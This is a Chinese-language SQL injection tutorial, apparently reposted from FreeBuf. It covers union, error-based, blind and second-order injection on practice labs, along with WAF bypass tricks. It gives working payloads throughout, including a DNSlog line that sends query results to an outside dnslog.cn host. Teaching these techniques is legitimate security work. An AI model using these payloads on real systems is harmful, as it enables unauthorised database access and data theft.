概述

在学习SQL注入之前,我们应先了解什么是SQL?

SQL一般是指结构化查询语言,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。那么问题来了,什么是SQL注入呢?

原理

SQL注入就是当开发人员对用户输入数据的合法性没有判断或过滤不严时,攻击者通过拼接恶意SQL语句诱使解释器在未经适当授权的情况下执行意外命令或访问数据。

简而言之:SQL注入的原理就是攻击者通过拼接恶意SQL语句,将其带入数据库进行查询,从而得到数据库一些敏感信息。

注入条件

SQL注入产生条件有三:(1)变量可控(2)变量未存在过滤(3)我们构造的SQL语句可带入数据库中查询。

当我们了解SQL注入产生的条件时,还有一个非常重要的点需要特别注意,就是应该了解那个参数存在注入点,如果注入点搞错了,你怎么进行构造语句也不起任何作用。例如,如果参数x存在注入点,下面哪个可以注入成功呢?

(1)?x=1  & x=1 and 1=1  (2)?x=1 &y=1 and 1=1

通过例子我们可以发现例(1)可以注入成功,例(2)不可以,这是为什么?因为是参数X存在注入点,这时我们的注入语句就应该拼接到x后面,而不是像例(2)那样把语句拼接到Y后面,否则就像我前面说的,搞错了注入点,你怎么进行构造SQL语句网页也不起任何作用。

SQL注入一般步骤

1.注入点判断

2.注入点类型判断(有无回显)

3.信息猜解(库名-表名-列名-具体数据)

判断一个链接是否存在注入漏洞,可以通过对其传入的参数(但不仅仅只限于参数,还有cookie注入,HTTP头注入等) 进行构造,然后对服务器返回的内容进行判断来查看是否存在注入点。

注入点又分为有回显和无回显,有回显就是当我们输入恶意SQL语句时,页面会给我们一个反馈的信息,例如我们语句输入错误,后台就会把错误信息返回显示在网页上,而无回显就恰恰相反,当我们无论输入的SQL是正确或者错误,页面都不会发生改变。

下面我们就先介绍一下有回显的注入点判断:

1.注入点的种类解析

1.1 按注入点参数的类型分类

(1)数字型注入

当输入的参数x为整型的时候,通常sql语句是这样的

select * from users where id =x ,例如id=1这种类型,向数据库传入的是数字,参数不需要被引号括起来。

数字型注入判断方法一般较为简单,当我们在注入点参数后构造语句

and 1=1  页面显示正常   and 1=2页面显示错误的时候,那么这个页面就有可能存在数字型注入点。

and是与的逻辑,即两个条件为真时,页面才会返回正常,所以

当输入and 1=1时,后台会执行sql语句是

select * from users where id =x and 1=1;没有语法显示错误且逻辑判断为真,返回正常

当输入and 1=2时,后台会执行sql语句是

select * from users where id =1 and 1=2; 没有语法错误且逻辑判断为假,返回错误

(2)字符型注入

当输入的参数x为整型的时候,通常sql语句是这样的

select * from users where id =‘x ',例如name=admin这种类型,像数据库传入的是字符串,参数需要被引号括起来。

字符型注入判断跟数字型注入逻辑差不多,只不过是在语句上需要添加一些符号,如单引号,双引号,括号等

当输入'and' 1'='1 时,后台会执行sql语句是

select * from users where id =’x' and '1‘=‘1’;没有语法显示错误且逻辑判断为真,返回正常

当输入‘and ’1’=‘2时,后台会执行sql语句是

select * from users where id =’1‘ and ’1‘=‘2’;没有语法错误且逻辑判断为假,返回错误

而字符型常见干扰符号有:双引号”,单引号',括号),综括号}等,具体是什么符号干扰实际案例中还需各位进行尝试。

1.2 按照数据请求方式来分类

(1)GET注入

HTTP请求方式为get,注入点一般在get传入的参数部分,例如?id=1,id便是一个注入点。

(2)POST注入

HTTP请求方式为post,注入点一般为提交的HTML表单, 即post传入的数据内容。

(3)Request注入

get,post,reques注入的判断方法其实就是通过在请求方法中提交不同SQL判断语句,看页面是否与原来一样,一样则不存在注入点,不一样则存在注入点,但是有一点值得注意,GET提交的数据会优先输出, Request请求方法可以包含get,post任意语句。

(4)HTTP头注入

HTTP的请求头存在注入点,例如XFF头,cookie,Host这些都是常见的注入点。

注入点判断方法:通过修改http数据包数据(构造恶意SQL语句)进行提交,页面是否显示我们提交的数据,显示则存在,反之不存在。

(5)Cookie注入
cookie注入其实跟上面3个差不多,通过在cookie中输入恶意SQL语句带入数据库查询,即可实现cookie注入。

2.联合查询注入(union)

联合查询注入一般配合 order by 函数进行信息猜解,当我们发现网站的注入点时且网站有错误回显的时候,那我们就可以使用 union 进行注入。其大致步骤为:

1.注入点判断(前面已经介绍过)

2.order by  列名猜解(ORDER BY 语句用于根据指定的列对结果集进行排序,当排序的那列数字超过了原有的列数就会报错,借助这个函数原理我们就可猜出数据库有多少列名)

order by x    //x为界面正确和错误的临界值,如

当我们输入SQL语句' order by 3 页面显示正常,order by 4 页面显示错误,那么x就为3,即数据库有3列。

下面通过SQLilbs靶场示例我们可以更清楚了解这一原理,前期我们判断出了注入点为字符型注入,那么我们就可以order by 列名查询,如我们通过 ' order by 3 --+ //--+是起到过滤后面内容的作用,有些数据库也可用#进行过滤掉后面的内容。

当我们输入SQL语句' order by 3 --+,发现页面显示正常

当我们输入’order by 4 --+,你会发现页面显示了错误的信息

那么我们就可以明白了,该数据库有3列数据。当我们得到这个信息后就可以下一步操作了。

3.union 查询

当我们用order by 函数猜解出数据库列名后,我们就可以使用  union函数进行注入了,SQL语法为

union select 1,2,3,4,....n  --+  //因为我们通过order by 猜解出有X列,那我们就可以通过select 查询X列,通过页面报错回显位,再进行payload构造。我们还是接着以上靶场为例,因为我们知道了该数据库有3列数据,那我们就可以构造SQL语句 ‘union select 1,2,3--+

通过上图我可以看到,页面显示了两个数字2,3这两个数字就是注入点的回显位置,我们通过在回显位置构造payload,得出想要信息。

4.报错显示位信息查询

union select 1,payload,3,...n --+

通过构造payload得到数据库显示位,那么就可以获取我们想要的信息了,上面我们得到了显示位为2,3那我们只要在select 后面的2,3位置构造payload即可,例如我们想要获取数据库版本信息和数据库名那我们可以通过SQL语句  'union select 1,version(),database()--+ 进行注入查询

通过语句注入你就得到了数据库版本为5.1.73,数据库名为security,如果你还想获取其他信息,那么只需要修改显示位的payload即可。

但需要注意的是使用union进行联合查询时想要查询的数据回显,则需要第1个查询结果为空。即select 1 union select 2,1查询的结果为空时,数据库才会去查询2想要的信息。

这边整理了一些常见的数据信息收集如:

数据库版本:version()  数据库名字:database()  数据库用户:user()  操作系统:@@version_compile_os

information_schema.schemata //所有数据库库名
information_schema.tables  //数据库下面的所有表名
information_schema.columns //数据库某数据表下面的列名
schema_name      //数据库名
table_name       //表名
column_name     //列名

以上都是一些常见的数据库信息收集,如果感兴趣网上还有许多方法,可以自己查找学习。

以上介绍的都是一些通过拼接SQL语句后,页面返回一些错误的信息,也就是回显,让我们发现注入漏洞,但随着安全防护的不断提高,许多网站都是没有回显的,就是说你输入的SQL语句带入数据库查询后,无论是正确还是错误的,它都不把信息回显到页面上,页面跟原来的一样没有改变。那么这种无回显的我们又该如何操作呢?

不要慌,无回显我们也是可以试一试,下面我们就来介绍如何通过无回显SQL注入,也就是俗称的盲注。

3.盲注

3.1 报错盲注

报错型注入:通过特殊函数错误使用并使其输出错误结果来获取信息。

常见3种报错盲注函数:

floor,updatexml,extractvalue等

下面我们就先来介绍updatexml,extractvalue这两个函数

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:updatexml(),extractvalue()当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

3.1.1  updatexml

updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

语法: updatexml(XML_document,XPath_string,new_value)

updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)以上这些都是一些函数的具体介绍,那我们实际中怎么构造呢?

我们可以通过 :id=x' or updatexml(1,concat(0x7e,(payload)),0) #     //or是或的意思一个成立就行,当然你也可以使用and没有什么影响,comcat是连接函数,将里面的字符串连接起来成为一个字符串。payload就是我们想要得到的信息,如果想得到用户名,那么payload就为user();  #前面讲过是过滤后面语句的。

那么这个函数如何报错注入呢,这个函数里面的关键就是0x7e,0x7e在ASCII码中 是:~;而通过updatexml我们可以知道当xpath_string格式出现错误,mysql则会爆出xpath语法错误,而0x7e并不属于xpath的语法格式,所以我们才可以通过这一特征得到报错想要的信息。

3.1.2 extractvalue

此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string)

SQL语句:x' or extractvalue(1,concat(0x7e,payload))#

extractvalue函数的使用跟上updatexml一样都是当xpath_string格式出现错误,mysql则会爆出xpath语法错误

而0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。同时 ‘~‘可以换成’#’、’$'等不满足xpath格式的字符,都可以进行报错注入的。

3.1.3 floor

floor报错注入其实就是count(*),floor,group by三个函数一起使用产生逻辑错误,这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。经典floor报错函数语句

and select 1 from (select count(*),concat(payload,floor(rand(0)*2))x from information_schema.tables group by x)a)

这里在floor()函数后面的x起到了一个起别名的作用,换句话说,x就等价于floor(rand()*2),count()函数会生成一个虚拟表,这条SQL语句来说,虚拟表中会有两个字段,一个是字段是count()的结果,一个是字段存放x ,最后的a就是sql语句在查询结果的基础上再执行查询时,必须给定一个别名。

3.2 布尔盲注(基于逻辑判断)

布尔盲注其实就是基于逻辑判断进行数据猜解的,在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面,基于两种页面,来判断SQL语句正确与否,从而逐步猜解信息。像一般用到的函数left,length,substr,mid等。具有使用方法如下:

length()=x   判断所需信息的长度

例:length(database())=8 //猜解数据库名长度是否为8,是则页面显示正常,错误页面则显示不正常
一般进行数据猜解时可以先判断出信息长度,在进行信息猜解了,猜解可用下面介绍的延时函数配合猜解。

left(a,b)  截取a的前b位

left(database(),2)='zq’   //截取database表明前2位是否是zq,是页面显示正常,错误则不正常,通过这个逻辑可判断注入点

substr(a,b,c) 从位置B开始截取字符串a的c长度

substr函数可配合时间盲注进行猜解,如

if(substr(select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)=’s‘,sleep(5),0) // 从1个database表名中第1位开。截取1个长度的字符串是否等于x(猜解1个表名中第一位是否是s) ,若符合延迟5s,否则延迟0秒如

mid(a,b,c)从位置B开始截取a字符串的C位

如mid(database(),1,1)='x'  //从数据库名中第1位开始截取1位,是否等于x。

3.3 延时盲注sleep(基于时间)

延时盲注是另一种常见的SQL注入,当不同参数相应的页面都一样,或返回的信息都一致时使用延时盲注更加合适,但这种注入方式的效率很低,延时注入主要是通过页面增加响应的时间来判断延时注入是否成功。

常见的延时盲注函数有sleep,if等,具体使用方法介绍如下:

Sleep

语法:sleep(x),x为我们需要延时的时间,利用函数sleep()让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息

IF

if (1,2,3) 1为判断条件,2返回值,3返回值,若1成立,返回2,否则返回3
if还可配合sleep函数进行一些信息的猜解判断等
sleep(if(mid(database(),1,1)='s')5,0))

如果有许多表名我们想要猜解的话,可以这样构造:

if(substr(select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1)=’ZQ‘,sleep(5),0)// 从2个数据表database中从第1位截取1长度的字符(猜解两个表中第一位是否是Z和Q) ,若符合延迟5s,否则延迟0秒。limit 后面是个数 limit 1,2选取2个表。
以上就是3种盲注的介绍,最高效的盲注还是报错盲注,其次是布尔盲注,最后是延时盲注,因为延时盲注需要进行时间延迟需要花费较多的时间。

介绍完基本的常见的SQL注入接下来就来说一下,一些不常见的SQL注入。

4.注入进阶

4.1 加解密注入

原理:通过对注入语句进行加密或者解密完成注入。但加解密注入条件较为严格,你需要了解各种加解密的形式,加密算法,将原始语句解密出来再进行语句拼接加密注入。一般==都是一些BASE64加密,如=MQ==

4.2 二次注入/二阶注入

原理:二次注入漏洞则需要两个HTTP请求响应,第一次HTTP请求是精心构造的,为第二次HTTP请求触发漏洞做准备。其原理大致如下:

在第一个HTTP请求中,攻击者构造脏数据(带有单引号或注释符)存储到数据库中。例如:注册时可在用户名后加'#(屏蔽后面语句)

在第二个HTTP请求中,攻击者直接从数据库中读取脏数据,没有执行进一步的校验和处理就拼接到下一次SQL查询中,从而造成二次SQL注入漏洞。

我们可以来看一个SQLilabs-24关靶场的例子:

从这关我们可以看到有一个注册用户和忘记密码的界面,假设我们有一个用户为52LZQ,密码为123456存储在数据库中,我们使用这个账户密码登录,发现当前用户为52LZQ,上面我们说到二次注入的第一步就是构造脏数据存储到数据库中,那当我们发现数据库中有一个名为52LZQ的用户,注册一个52LZQ’#,密码是123123来验证下是否可以进行二次注入。

注册完之后,现在我们来修改52LZQ’#的密码,然后再看看修改密码的SQL语句,这里我们将密码改为88888888。

当我们修改密码时,后台源码是将用户名拼接到SQL语句中之后,SQL语句就成为了如下所示:

UPDATE users SET PASSWORD='88888888' where username='52LZQ’#' and password='$curr_pass'

那我们使用52LZQ这个用户,密码输入88888888时,发现竟然可以登录成功,并且密码也由原来的123456变为了88888888。

这是为什么呢?

原来,我们通过后台源码发现,注册用户时,使用了mysql_escape_string()函数,这个函数会对特殊字符进行转义,但最终存储到数据库时还是保留了原始格式,由于#号注释掉了后面的语句,所以,我们本来是修改的52LZQ’#的密码,但实际上修改了52LZQ的密码,而且52LZQ’#的当前密码也可以随便输入。

这就是我们上面介绍的二次注入原理的在第二个HTTP请求中,攻击者直接从数据库中读取脏数据,没有执行进一步的校验和处理就拼接到下一次SQL查询中,从而造成二次SQL注入漏洞。

受mysql_escape_string()函数影响的字符还有

(1)\x00 (2)\n (3)\r (4)\ (5)' (6)"  (7)\x1a 就是说使用这些字符构造脏数据同样可以造成二次注入。

通过上面例子我们可以清楚知道,二次注入产生的位置一般在:有数据互联的地方,比如登录注册等
一般存在代码层,需要进行人工进行注入。

除了使用字符构造脏数据,我们也可以使用报错注入语句进行用户注册
但最后还得注意一点:有些网页对注册用户有长度限制,这些限制又分为:
1.前端限制(看html表单是否有长度限制,如有限制,可进行长度限制修改等,可突破上限,进行注入)
2.后端限制(后端校验,无法突破)

4.3 DNSlog带外注入

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出,解决了盲注不能回显,效率低的问题。如遇到MySQL的盲注时,可以利用内置函数load_file()来完成DNSLOG。

load_file()不仅能够加载本地文件,同时也能对诸如\\www.test.com这样的URL发起请求。

原理

DNS在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

常见的DNSlog网站有dnslog.cn,ceye.io

DNSlog带外注入语法:

load_file(concat('\\\\',(payload),'xxx.dnslog.cn\\111'))--+ //4个\是转义的意思,payload就是我们想要查询的信息,后面就是我们在dnslog网站上获取的域名信息,后面的111可以随便写没什么影响。我们可以通过靶场案例看一下,常规方法:注入点判断这些前面已经介绍,就不赘述,我们通过在靶场输出SQL语句

union select 1,2,load_file(concat('\\\\',(version()),'.d0it21.dnslog.cn\\111'))--+

从DNSlog网站可以看出,我们输入的SQL语句已经得到解析,且爆出了我们想要查询的版本信息。

4.4 堆叠注入

定义:在SQL中,分号(;)是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句,一起执行,这就是堆叠注入。
如select *from xxx; select *from xxx;

作用:实现数据增,删,改,查等

局限性:堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。而且堆叠注入也不是适用于所有数据库,像Oracle数据库就不支持堆叠注入。

5.WAF绕过

上面讲了一些常见的注入手法,当随着人们安全意识的不断提高,安全产品出现,许多网站都用上了WAF,也就是网页版防火墙,用来阻止来自网页的攻击。这也让网页更加坚固,不易受攻击,但有时候也会存在一些策略漏洞,让攻击者有机可乘。那么我们想要绕过WAF,我们就先要了解WAF的工作机制和原理,只有了解了这些,我们才可以更好绕过WAF,实现注入。

5.1 WAF原理

工作在web服务器之前,对基于HTTP协议的通信进行检测和识别。通俗的说,WAF类似于地铁站的安检,对于HTTP请求进行快速安全检查,通过解析HTTP数据,在不同的字段分别在特征、规则等维度进行正则判断,判断的结果作为是否拦截的依据从而决定是否放行。WAF大多是基于正则表达式进行拦截的。

那么什么又是正则表达式呢?

5.2 正则表达式(regular expression)

一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。

例如正则表达式为 AA,当如果我们输入aaAAaa,通过正则检测发现该字段里面包含有我们的正则表达式中的AA,那么就会从aaAAaa字段中获取AA,然后进行AA匹配查询。

如果给定一个正则表达式和另一个字符串,我们可以达到如下的目的:
1. 给定的字符串是否符合正则表达式的过滤逻辑(称作“匹配”):
2. 可以通过正则表达式,从字符串中获取我们想要的特定部分。

了解了WAF原理,那接下来就介绍一些WAF的绕过思路。

5.3 WAF绕过方法总结

(1)正则规则实现绕过:如WAF规则库中对特定关键字datebase()拦截,但对database()/**/关键字没有进行拦截,但是数据库中又有database的数据信息(正则匹配),那我们绕过则可以通过添加注释符/**/,从而让页面爆出我们想要database信息。

(2)提交方式更改,如post,get,request,cookie互用尝试。

(3)大小写:用于绕过一些对大小写敏感的黑名单匹配。如select可写成SeLeCt这样。

(4)双写:利用waf将关键字替换为空,没有递归,如union可改写成uniunionon等

(5)注释符混用:常用的注释符有// --%20 /**/ # --+ -- - %00 ;

(6)加密解密,编码解码:利用urlencode,ascii,hex,unicode等编码绕过

一些unicode编码举例:
单引号:'   ---%u0027 %u02b9 %u02bc  %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7
空白:%u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0
左括号(:%u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8
右括号):%u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9

(7)等价函数绕过

hex()、bin() ==> ascii();sleep() ==>benchmark();concat_ws()==>group_concat();

mid()、substr() ==> substring();@@user ==> user();@@datadir ==> datadir()
(8)生僻函数绕过:使用一些不常见的函数进行绕过

(9)空格绕过:Tab代替空格,%20 %09 %0a %0b %0c %0d %a0 /**/ () 这些都可以绕过空格

(10)like 绕过:?id=1' or 1 like 1#可以绕过对= >等过滤

(11)IN 绕过: or '1’ IN (‘1111’)# 可以替代=

(12)反引号绕过:` 可以用来过空格和正则,有时候还可以将其作为注释符用

(13)宽字节绕过:宽字节绕过主要是SQL数据库编码问题造成的,在过滤单引号时,可以尝试用%bf%27,%df%27,%aa%27绕过

(14)\N 绕过:\N相当于NULL字符

(15)特殊符号(通过对关键字添加特殊符号绕过WAF字典检测)

(16)其他:FUZZ大法(利用fuzz字典脚本模糊测试,批量化测试),数据库特征,垃圾数据溢出,HTTP参数污染,IP白名单

绕过的方法还有许多,这边用几个例子来说下绕过思路。

5.3 绕过思路分享

1.注释符+编码绕过

当WAF存在对注释符存在过滤时

我们使用语句   union %23a%0Aselect 1,2,3%23 实现绕过,我们知道%23是#的编码  %0a=换行符

那么上面的语句就相当于

union #a 
select 1,2,3#    //原理就相当于 #屏蔽了后面a 换行截断WAF匹配,换行的目的就是为了防止WAF继续匹配拦截,所以整个语句就可以为union select 1,2,3不受WAF影响

2.HTTP参数污染绕过

了解参数污染绕过时,我们要了解何为参数污染?何为内联注释?

内联注释:用编译器忽略并且不执行的任何文本中的注释 。

参数污染其实就是:根据网站特性,只接受输出的那一部分

下面我整理了一些网站特性以及对应接收参数部分的数据。我们在得知网站组合后,可快速构造出我们想要的参数污染语句。

例如我们通过信息收集得知一个网站是APACHE+PHP的搭建,通过网站特性,我们可知,该组合只接受最后一个参数。那我们可以构造SQL语句:

这语句是啥作用呢?该语句可以这样理解上面这个SQL语句有两个参数

1和/*&id=-1%20select%201,2,3%23*/ 
而WAF匹配的时候匹配的是1/*-1 union select 1,2,3#*/或1/*&id=-1%20union%20select%201,2,3%23*/,
而其中符号/**/起注释作用(内联注释)正常情况下是没有执行的,WAF不拦截,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/能正常执行,实现注入。

6.小结

以上就是本人对SQL注入的一些总结和见解,希望本文对大家有所帮助,文章不足之处也希望各位师傅指正。

本文作者:Gohacker1212, 转自FreeBuf